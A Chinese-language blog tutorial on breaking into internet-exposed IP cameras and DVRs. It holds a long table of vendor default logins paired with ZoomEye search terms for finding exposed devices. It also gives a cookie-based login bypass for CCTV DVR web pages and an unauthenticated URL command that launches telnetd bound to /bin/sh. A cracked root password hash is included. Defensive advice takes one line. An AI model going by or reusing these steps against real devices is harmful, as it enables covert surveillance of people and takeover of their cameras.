互联网的眼睛-网络摄像头

0x01 简介

随着物联网的普及,现在大量的摄像头都接入到了公网,方便了用户的访问的同时,也方便了他人。加之摄像机本身的安全性差,就带来了一系列的安全隐患。目前摄像机最大的安全问题的就是默认口令,很大一部分用户都不会修改。其次还有厂商为了方便管理留下了后门,再有就是对摄像机的固件进行分析,发现的一系列漏洞。

0x02 类型

网络摄像头(IPCam):
由视频服务器和摄像头的集成,通常是linux系统,内置一个web server,画面实时传输,一般没有视频存储功能
数字视频录像机(DVR/NVR):
进行图像存储处理,可录像,录音,远程监控等等,大概分为PC式和嵌入式,操作系统不固定,只要处理设备装有处理软件即可,有视频存储功能(可回放)
中央闭路电视(CCTV):
中央电视台?(大雾!)图像通信系统,和DVR/NVR结合起来,通过双绞线(搞不动),光缆(搞不动),网络(可以搞!)接收图像信号,监控室里常见~
监控云平台:
通过云平台集中管理多个设备

0x03 漏洞分析

弱口令

默认口令是摄像头最严重的问题,简单又粗暴。

1.海康威视IP网络摄像机:
用户:admin,密码:12345
zoomeye搜索关键词:hikvision
2.大华网络摄像机:
user:admin pass:admin 管理权限
user:default pass:user 用户默认登陆帐号
user:888888 pass:admin
user:666666 pass:user
zoomeye搜索关键词:WEB SERVICE
3.cctv摄像机:
user:admin pass:空
telnet登陆 user:root pass:”juantech”
zoomeye搜索关键词:JAWS/1.0
4.SQ-WEBCAM摄像机:
user:admin pass:admin
zoomeye搜索关键词:SQ-WEBCAM
已及其他的一些……

ACTi: admin/123456 or Admin/123456
American Dynamics: admin/admin or admin/9999
Arecont Vision: none
Avigilon: admin/admin
Axis: traditionally root/pass, new Axis cameras require password creation during first login
Basler: admin/admin
Bosch: none
Brickcom: admin/admin
Canon: root/camera
Cisco: No default password, requires creation during first login
Dahua: admin/admin
Digital Watchdog: admin/admin
DRS: admin/1234
DVTel: Admin/1234
DynaColor: Admin/1234
FLIR: admin/fliradmin
Foscam: admin/
GeoVision: admin/admin
Grandstream: admin/admin
Hikvision: admin/12345
Honeywell: admin/1234
IQinVision: root/system
IPX-DDK: root/admin or root/Admin\
JVC: admin/jvc
March: Networks: admin/
Mobotix: admin/meinsm
Panasonic: admin/12345
Pelco Sarix: admin/admin
Pixord: admin/admin
Samsung Electronics: root/root or admin/4321
Samsung Techwin (old): admin/1111111
Samsung (new): admin/4321
Sanyo: admin/admin
Scallop: admin/password
Sentry360 (mini): admin/1234
Sentry360 (pro): none
Sony: admin/admin
Speco: admin/1234
Stardot: admin/admin
Starvedia: admin/
Trendnet: admin/admin
Toshiba: root/ikwd
VideoIQ: supervisor/supervisor
Vivotek: root/
Ubiquiti: ubnt/ubnt
Wodsee: admin/

弱口令太简单了就不做演示了。。。

WEB认证绕过

cctv存在web认证绕。
当你第一次访问的时候,index.html会要求你输入用户名和密码,输入正确,则跳转到view2.html。如果你直接访问view2.html,会被重定向到index.html,要求你输入帐户信息。而其中view2.html中关于登陆验证的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$(document).ready(function(){
dvr_camcnt = Cookies.get("dvr_camcnt");
iSetAble = Cookies.get("iSetAble");
iPlayBack = Cookies.get("iPlayBack");
dvr_usr = Cookies.get("dvr_usr");
dvr_pwd = Cookies.get("dvr_pwd");
if(iSetAble == '0'){
$('#pb_settings').css('display','none');
}
if(iPlayBack == '0'){
$('#pb_review').css('display','none');
}
if(dvr_camcnt == null || dvr_usr == null || dvr_pwd == null)
{
location.href = "/index.html";
}

可以看到,如果dvr_camcnt,dvr_usr,dvr_pwd这3个值为空,就会跳转到index.html,所以我们只要将dvr_camcnt,dvr_usr,>dvr_pwd设置不为空就可以了。其实只需要设置dvr_usr和dvr_pwd就可以了。因为我们访问这个也面的时候系统已经自动填写了dvr_camcnt。


填写后直接访问view2.html,即登陆页面

反弹shell

另外cctv还存在内建shell。直接telnetd绑定/bin/sh到任意端口,然后telnet连接过去,不需要认证就可以telnet登录,这个利用方式在你不知道固件本身TELNET的账户信息的时候,是个很常见的利用方法。命令如下:
http://目标ip/shell?/usr/sbin/telnetd -l/bin/sh -p 25
然后本地就可以telnet直接免密码登陆了


view2.html登陆部分代码

1
2
# cat /etc/passwd
root:a03e3thxwWU0g:0:0::/root:/bin/sh

破解过后即是”juantech”

0x04 防御措施

修改默认密码,加强登陆验证

0x05 参考

  1. 某CCTV摄像头漏洞分析
  2. Hacking ipcam like Harold in POI - redrain有节操
  3. 大量浙江大华监控设备弱口令漏洞
  4. ZoomEye+Pocsuite: 小心你背后的眼睛
  5. IP Cameras Default Passwords Directory